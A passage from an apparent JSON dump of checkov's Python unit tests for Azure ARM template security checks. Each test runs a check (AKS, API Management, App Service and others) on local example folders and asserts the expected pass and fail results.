len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_ACRPublicNetworkAccessDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.ACRPublicNetworkAccessDisabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestACRPublicNetworkAccessDisabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ACRPublicNetworkAccessDisabled\"\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.ContainerRegistry/registries.pass',\n        }\n        failing_resources = {\n            'Microsoft.ContainerRegistry/registries.fail'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AKSApiServerAuthorizedIpRanges.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.AKSApiServerAuthorizedIpRanges import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAKSApiServerAuthorizedIpRanges(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AKSApiServerAuthorizedIpRanges\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AKSDashboardDisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.AKSDashboardDisabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAKSDashboardDisabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AKSDashboardDisabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AKSEncryptionAtHostEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AKSEncryptionAtHostEnabled import check\n\n\nclass TestAKSEncryptionAtHostEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSEncryptionAtHostEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.ContainerService/managedClusters.pass',\n            'Microsoft.ContainerService/managedClusters/agentPools.passA'\n        }\n        failing_resources = {\n            'Microsoft.ContainerService/managedClusters.fail1',\n            'Microsoft.ContainerService/managedClusters.fail2',\n            'Microsoft.ContainerService/managedClusters/agentPools.failA1',\n            'Microsoft.ContainerService/managedClusters/agentPools.failA2',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/arm/checks/resource/test_AKSEphemeralOSDisks.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AKSEphemeralOSDisks import check\n\n\nclass TestAKSEphemeralOSDisks(unittest.TestCase):\n\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_AKSEphemeralOSDisks\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.ContainerService/managedClusters.pass',\n        }\n        failing_resources = {\n            'Microsoft.ContainerService/managedClusters.fail',\n            'Microsoft.ContainerService/managedClusters.fail2',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/arm/checks/resource/test_AKSLocalAdminDisabled.py",
    "content": "import unittest\nfrom checkov.arm.checks.resource.AKSLocalAdminDisabled import check\nfrom pathlib import Path\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAKSLocalAdminDisabled(unittest.TestCase):\n    def test_summary(self):\n        test_files_dir = Path(__file__).parent / \"example_AKSLocalAdminDisabled\"\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.ContainerService/managedClusters.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.ContainerService/managedClusters.fail\",\n            \"Microsoft.ContainerService/managedClusters.fail2\"\n        }\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AKSLoggingEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.AKSLoggingEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAKSLoggingEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AKSLoggingEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AKSMaxPodsMinimum.py",
    "content": "import os\nimport unittest\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AKSMaxPodsMinimum import check\n\n\nclass TestAKSMaxPodsMinimum(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AKSMaxPodsMinimum\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.ContainerService/managedClusters.agentPoolProfiles_with_maxPods_pass\",\n            \"Microsoft.ContainerService/managedClusters/agentPools.properties_with_maxPods_pass1\"\n        }\n        failing_resources = {\n            \"Microsoft.ContainerService/managedClusters.agentPoolProfiles_with_maxPods_fail4\",\n            \"Microsoft.ContainerService/managedClusters.agentPoolProfiles_without_maxPods_fail3\",\n            \"Microsoft.ContainerService/managedClusters/agentPools.properties_with_maxPods_fail2\",\n            \"Microsoft.ContainerService/managedClusters/agentPools.properties_without_maxPods_fail\",\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AKSNetworkPolicy.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.AKSNetworkPolicy import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAKSNetworkPolicy(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AKSNetworkPolicy\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AKSPoolTypeIsScaleSet.py",
    "content": "\nimport os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AKSPoolTypeIsScaleSet import check\n\n\nclass TestAKSPoolTypeIsScaleSet(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSPoolTypeIsScaleSet\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.ContainerService/managedClusters.pass',\n            'Microsoft.ContainerService/managedClusters.pass1',\n        }\n        failing_resources = {\n            'Microsoft.ContainerService/managedClusters.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AKSRbacEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.AKSRbacEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAKSRbacEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AKSRbacEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AKSUpgradeChannel.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AKSUpgradeChannel import check\n\n\nclass TestAKSUpgradeChannel(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AKSUpgradeChannel\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.ContainerService/managedClusters.pass',\n        }\n        failing_resources = {\n            'Microsoft.ContainerService/managedClusters.fail',\n            'Microsoft.ContainerService/managedClusters.fail1',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_APIManagementMinTLS12.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.APIManagementMinTLS12 import check\nfrom checkov.arm.runner import Runner\n\n\nclass TestAPIManagementMinTLS12(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_APIManagementMinTLS12\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.ApiManagement/service.pass\",\n        }\n\n        failing_resources = {\n            \"Microsoft.ApiManagement/service.fail\",\n            \"Microsoft.ApiManagement/service.fail2\",\n            \"Microsoft.ApiManagement/service.fail3\",\n            \"Microsoft.ApiManagement/service.fail4\",\n            \"Microsoft.ApiManagement/service.fail5\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passed_check_resources))\n        self.assertEqual(summary[\"failed\"], len(failed_check_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_APIManagementPublicAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.APIManagementPublicAccess import check\nfrom checkov.arm.runner import Runner\n\n\nclass TestAPIManagementPublicAccess(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_APIManagementPublicAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.ApiManagement/service.pass\",\n        }\n\n        failing_resources = {\n            \"Microsoft.ApiManagement/service.fail\",\n            \"Microsoft.ApiManagement/service.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_APIServicesUseVirtualNetwork.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.APIServicesUseVirtualNetwork import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAPIServicesUseVirtualNetwork(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_APIServicesUseVirtualNetwork\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.ApiManagement/service.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.ApiManagement/service.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AkSSecretStoreRotation.py",
    "content": "from checkov.arm.checks.resource.AkSSecretStoreRotation import check\nimport os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\n\n\nclass TestAKSSecretStoreRotation(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_AkSSecretStoreRotation\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.ContainerService/managedClusters.pass',\n        }\n        failing_resources = {\n            'Microsoft.ContainerService/managedClusters.fail',\n            'Microsoft.ContainerService/managedClusters.fail1',\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppGWDefinesSecureProtocols.py",
    "content": "import os\nimport unittest\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.AppGWDefinesSecureProtocols import check\n\n\nclass TestAppGWDefinesSecureProtocols(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, \"example_AppGWDefinesSecureProtocols\")\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.Network/applicationGateways.with_protocolversion_and_cipher_pass',\n            'Microsoft.Network/applicationGateways.with_policyName_pass1'\n        }\n        failing_resources = {\n            'Microsoft.Network/applicationGateways.without_sslPolicy_fail',\n            'Microsoft.Network/applicationGateways.empty_sslPolicy_fail1',\n            'Microsoft.Network/applicationGateways.with_protocolversion_and_cipher_fail2',\n            'Microsoft.Network/applicationGateways.with_policyName_fail3',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppGatewayWAFACLCVE202144228.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.AppGatewayWAFACLCVE202144228 import check\nfrom checkov.arm.runner import Runner\n\n\nclass TestAppGatewayWAFACLCVE202144228(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppGatewayWAFACLCVE202144228\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies.owasp_3_1_default_pass\",\n            \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies.owasp_3_2_default_pass\",\n            \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies.version_3_1_default_pass\",\n            \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies.owasp_3_1_disabled_different_pass\",\n            \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies.empty_disabled_rules_pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies.owasp_3_0_fail\",\n            \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies.owasp_3_1_disabled_fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceAuthentication.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.AppServiceAuthentication import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServiceAuthentication(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AppServiceAuthentication\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceClientCertificate.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.AppServiceClientCertificate import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServiceClientCertificate(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_AppServiceClientCertificate\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceDetailedErrorMessagesEnabled.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AppServiceDetailedErrorMessagesEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServiceDetailedErrorMessagesEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceDetailedErrorMessagesEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites/config.passed\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites/config.failed\",\n            \"Microsoft.Web/sites/config.failed2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceDisallowCORS.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.AppServiceDisallowCORS import check\n\n\nclass TestAPPServiceDisallowCORS(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceDisallowCORS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites.pass\",\n\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceDotnetFrameworkVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AppServiceDotnetFrameworkVersion import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServiceDotnetFrameworkVersion(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceDotnetFrameworkVersion\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites/config.passed\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites/config.failed\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_AppServiceEnabledFailedRequest.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.AppServiceEnableFailedRequest import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestAppServiceEnableFailedRequest(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AppServiceEnabledFailedRequest\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Web/sites/config.passed\",\n        }\n        failing_resources = {\n            \"Microsoft.Web/sites/config.failed\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == 